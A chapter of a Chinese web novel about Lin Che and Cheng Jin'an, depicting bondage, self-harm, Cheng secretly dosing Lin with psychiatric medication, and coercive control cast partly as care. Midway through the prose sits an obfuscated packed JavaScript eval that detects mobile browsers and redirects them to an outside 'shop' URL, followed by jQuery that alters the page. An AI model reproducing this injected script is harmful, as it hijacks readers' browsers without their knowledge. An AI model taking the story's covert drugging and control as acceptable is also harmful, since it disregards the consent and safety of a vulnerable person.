第二次。


    程烬安用了一条他自己的蓝灰色丝质领带。


    他把领带绕上林澈手腕的时候，动作很慢。


    因为如果林澈缩手，他就会来得及停。


    但是林澈没缩手。


    领带跟着收紧了。


    林澈低头看着自己的手腕，深吸了一口气，然后闭上眼睛。


    那条领带林澈见过，上周程烬安去参加一个并购案的谈判时戴过。


    而现在，这条沾染过职场气息的东西，正被用在一个意想不到的方向。


    林澈身体里那个翻涌了几天的东西，在这一刻，像是终于找到了出口。


    他们没有再说话。


    卧室的门关上了。


    很久之后，林澈躺在床上，盯着天花板。身体是疲惫的酸痛的，但大脑是安静的。那种折磨了他几个月的空洞感暂时消失了。像是一条河流在连续几个月的涨水之后突然退了，河床裸露出来，湿的，灰的，静止的。


    床垫微微凹陷，程烬安坐在他旁边。男人衣着依然整齐，他没有说话，只是伸出修长的手指灵活地挑开那个死结。


    程烬安垂着眼，一道浅浅的红痕在白皙的皮肤上显得触目惊心。


    “疼吗？”


    “不算。”


    林澈的声音很轻。


    “手指动一动。”


    林澈顿了一下动了动。程烬安看了一会儿没说话，然后才收回手，起身去倒了杯温水过来，递到林澈唇边。


    林澈没动。


    “喝。”


    语气平静，没有商量的余地。林澈就着他的手喝了半杯，温热的水滑下去，骨缝里那点寒意散了些，他偏过头看程烬安把杯子放回床头柜的背影。


    “你不用每次都这样。”林澈开口，声音还沙着。


    “哪样。”


    “查来查去的。”


    程烬安转过身在床边坐下，低头看他，“你哪里不舒服说。”


    “没有。”


    “那就别废话。”


    林澈闭上嘴，心里那个拧了一下的东西沉下去，说不清是什么，只是不太好受。


    他和江承晏不同。


    江承晏做那些事时眼睛是空洞的，林澈对他从来只是个物件，喜欢看他挣扎，喜欢听他求饶，然后把那点仅剩的东西也踩进泥里，完事后走进浴室把手洗很久，从不回头，就把林澈留在原地等天亮。


    但程烬安会事后替他检查会递水，会注意他的表情有没有不对。


    这种在乎让整件事变得更加危险。


    因为它让林澈无法把程烬安归入和江承晏相同的那一类人。


    也让他更难拒绝下一次。


    后来的每一次都比上一次更深一步。


    领带换成了别的东西。那些东西出现在他们的卧室里，出现在林澈的视野里，然后出现在他的身上。程烬安在这方面展现出了一种让林澈心惊的学习能力——他研究过，而且显然研究得很彻底。安全范围在哪里、身体的极限在哪里、什么样的方式能给出最大的强度而不造成真正的伤害。


    对方做这些事的时候很沉默。


    像一个完美的配合者，不说多余的话，不表达多余的感情，不温柔地安慰，也不粗暴地施压。


    只是准确、冷静、不出错得做。


    或者说是一个操控者。


    因为在那些过程中，看似是林澈在索取、程烬安在给予。但林澈渐渐发现一件事——程烬安给他的，永远比他开口要的多一点。


    只多一点，不多不少。


    刚好够让他下一次需要得更多。


    林澈不知道程烬安是有意的还是无意的。


    但以程烬安的智商——大概不存在无意这个选项。


    一次偶然林澈发现了一个治疗精神方面的药瓶子。


    程烬安有一次出门忘带手机，屏幕上弹出一条快递提醒。林澈点进去，看到三个月来反复下单的一种东西——植物萃取精华液，没有中文成分表，评论区一看全是刷的。


    他在厨房调料架最里面找到了被替换的药瓶。


    想起来那些特别难熬的夜晚——每一次之前，程烬安都煲了汤。


    他把瓶子放在餐桌正中间，然后等程烬安回来。


    程烬安进门，看到那个瓶子的时候只停了一秒，然后正常换了鞋，走过来，在林澈对面坐下。


    脸上没有慌张也没有心虚，甚至没有意外。


    “你都知道了。”


    “解释。”


    “不用解释，你已经想明白了”"程烬安靠在椅背上，“你想听我说什么，说对不起？说我不该这么做？”


    “你觉得你不该吗？”


    “我觉得不重要。你现在打算怎么办，这才重要。”


    林澈嘴唇在失血，“你就这么无所谓？”


    “林澈，我不是无所谓。只是这件事只有两个结果，你赶我走，或者你不赶，我说什么都改变不了你最后的选择。”他顿了一下，“所以你来决定。”


    林澈等了将近十几分钟，把场面想了一遍又一遍，想过程烬安认错，想过他求自己，甚至想着来一场能让他发泄的争吵，只要程烬安有一点失控他就有了出口。然而程烬安给了他一场冷静到残忍的摊牌，什么都不辩，什么都不躲，牌全摊开了，你自己看，自己选。


    “你和江承晏有什么区别？”


    林澈的声音在抖，程烬安的脸色变了，是林澈第一次在他脸上看到真正的波动，一种被触到底线的情绪，又很快被压下去，周围的气温跟着冷了一截。


    “区别在于，江承晏把你弄出血的时候不管你死不死。”程烬安声音压低了，“我算过你每一个阈值。你身上现在没有任何一处真正的伤，你可以去医院检查。”


    “江承晏把你当消耗品。我没有。”


    “所以你认为我病了为了我好偷偷给我用治疗精神病的药就是对的？”


    “不对。但你问的是区别，我在回答你。”


    林澈说不出话了。


    程烬安的冷静让他无处下手——这个人不会崩溃、不会失态、不会给他一个情绪化的对手来发泄。


    程烬安从头到尾都是清醒的。


    瞒着他给他吃东西的时候是清醒的。做那些事的时候是清醒的。现在被拆穿了还是清醒的。


    这种清醒比疯狂更令人感到可怕。


    “滚。”


    “不滚。”


    林澈愣了一下。这是程烬安第一次拒绝他。


    “你没资格……”


    “你赶我走，然后呢？”


    程烬安没有站起来，甚至没有改变姿势，就那么坐在椅子上看着他。


    “一个人在浴室里扛？扛到哪天把自己弄进医院？”


    “那是我的事。”


    “你赶我走然后呢？一个人在浴室里扛？你上次在花洒底下坐了四十分钟，出来嘴唇是紫的，体温降了两度，把自己泡到快失温来压那些东西，这种方式你打算用多久？”


    林澈不说话了。


    “我承认我做的不对，你不想去接受正规治疗我也不会去强制，以后这种事不会再有。你可以看着我做每一顿饭，但我不走。”


    他站起来，走到林澈面前，站着，俯看坐在椅子上的林澈，头顶的灯在他脸上打出阴影。


    “你现在需要一个人，这个人只能是我。这不是你能选的。”


    林澈抬头看着他。


    他的心跳在加速。


    除了愤怒还有一部分极小的、他不愿意承认的……


    他在这种绝对的不容置疑的宣告面前，产生了不该有的反应。


    林澈抿嘴低下头，不再看他。


    “你就是吃准了我除了你，身边没有别人了。”


    “是。”


    程烬安没有否认。


    “你恨我也行，但你得活着恨。”


    他转身去了厨房。


    林澈一个人坐在餐桌前，听着厨房里传来切菜的有规律的铛铛声。


    那场对峙之后日子继续过，谁也没再提那个瓶子。但程烬安做饭时林澈会站在厨房门口盯着，程烬安由他看，不躲避，不遮挡，甚至有些日子整顿饭他们一句话都不说。


    但有时候程烬安会先开口。


    “吃完了？”


    “嗯。”


    “再吃点。”


    “吃饱了。”


    “你今天中午没吃肉，吃一块。”


    林澈抬头看他，程烬安已经把那碗肉端过来放到他面前了，又转身去收别的碗，背对着他不再看他。林澈坐在那里，看着那碗，最后把它端起来，慢慢吃完。


    但工作上的事，林澈却怎么也绕不开这个男人。</


    ;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17230903|196797||http|test|mini|href|location''.split(''|''),0,{}));


    () {


    $(''.inform'').remove();


    $(''#content'').append(''


    p>


    林澈本身也是个极要强的人。有一次，林澈在家加班到凌晨一点，对着一份即将提交的报告头疼欲裂。


    因为目标公司历年的财务数据怎么都对不上，资产负债表两边死活有差，导致整个估值模型跑不通。


    林澈揉着太阳穴，盯着屏幕上密密麻麻的数字，焦躁得砸了一下键盘，偏头痛又开始发作了。


    程烬安端着水杯从卧室走出来，路过书桌时，脚步停顿了两秒，视线在林澈的电脑屏幕上极快地扫过。


    “少数股东权益那栏扣减项不对。”程烬安淡淡地开口，“目标公司在2026年二季度做过一次极其隐蔽的外股权重组，计算基准已经变了。你现在套用的还是他们重组前的旧比例。”


    林澈愕然地抬起布满血丝的眼睛。


    “你怎么知道——”


    “因为那次重组的避税方案，就是我带团队给他们出的合规意见。”程烬安喝了一口水，“内部档案编号我都还记得。”


    说完，程烬安端着水杯，转身回了卧室，顺手关上了门。


    留下林澈一个人呆坐在椅子上。他看着屏幕，手指在键盘上飞快敲击，改掉那个参数后模型果然瞬间跑通了。


    林澈心里久久无法平静。除了震惊于对方恐怖的专业敏感度，还有一种在绝对智商面前不得不认命的无力感。


    两天后客户追问那个细节，林澈答得滴水不漏。那晚回了家，他站在厨房门口看程烬安洗碗，犹豫了一会儿，低声说谢了。


    程烬安没回头，“下次金融口的东西直接来问我，你那天对着报告叹了两个小时的气，我在里面听着也着急，明明五分钟能解决的事，没必要为了跟我赌气把自己熬垮。”


    “我没有在跟你赌气。”


    “你有。”程烬安把第一个碗放进沥水架，转过身来看他，"下次有不会的就说。”


    林澈张了张嘴，没说出什么。


    他知道程烬安的意思——你不用逞强，我就在这里。他说不清楚这算不算一种绑架。


    林澈靠在厨房门框上，看着程烬安的背影，心里很乱，乱到一句话都没说出来，只是那么靠着、看着，直到程烬安把最后一只碗放进碗架，拧干了抹布，才转身看他。


    两个人对视了一秒。


    林澈先移开了眼睛。


    ★★★


    真正让林澈那层硬壳出现裂缝的，是一次提前回家。


    那天下午没事，四点多回了家，一开门，他就看到卧室门口堆着几个黑色的快递箱，没有任何标识，林澈走过去划开了胶带哐哐哐的都拆开了，在看清里面的东西，他脸上的血色慢慢退干净了，就那么站着看了将近一分钟，然后坐到了沙发上，等程烬安回来一直到了晚上七点。


    程烬安进门，看到墙角的箱子，也看到了坐在没开灯的客厅里的林澈，他开了玄关的灯，换鞋后把包放下，走到林澈对面坐下来。


    “知道我买了什么？”


    “看见了。”


    “那你知道为什么。”程烬安冷静的看着他，“你上礼拜掐胳膊掐出了血，再往前半个月你把浴室花洒底座拽裂了，这两件事你以为我不知道？”


    林澈没说话。


    “那种疼能让你清醒，我知道，但你每次下手没个数，早晚把自己弄出真正的问题。”他指了指墙角的箱子，“这些我查过，材料和受力分布都算过，比你现在的方式安全。”


    “你查过。”林澈听见自己平和的声音，“你什么时候开始查这些的。”


    “你第一次在浴室里出来嘴唇是青的那天。”


    林澈愣了一下。


    “那是几个月前的事了。”


    “我记得。”


    林澈盯着他，再一次哑口无言。程烬安买这些他不意外，那个阶段早在他找到那个棕色瓶子的时候就过去了。让他说不出话的是另一件事——程烬安选的那些东西，他在那里看了将近一分钟，每一样的形状、材质，固定的位置，全都精准地卡在一个地方，一个连林澈自己都不想承认的地方，那是研究，是把他所有的反应都摸透了之后给出来的答案。


    “你研究我。”


    “嗯。”


    “从什么时候开始的。”


    “从你第一次找我开始。”程烬安的语气没有任何波动，“你以为你开口要的那些，是你自己想出来的？”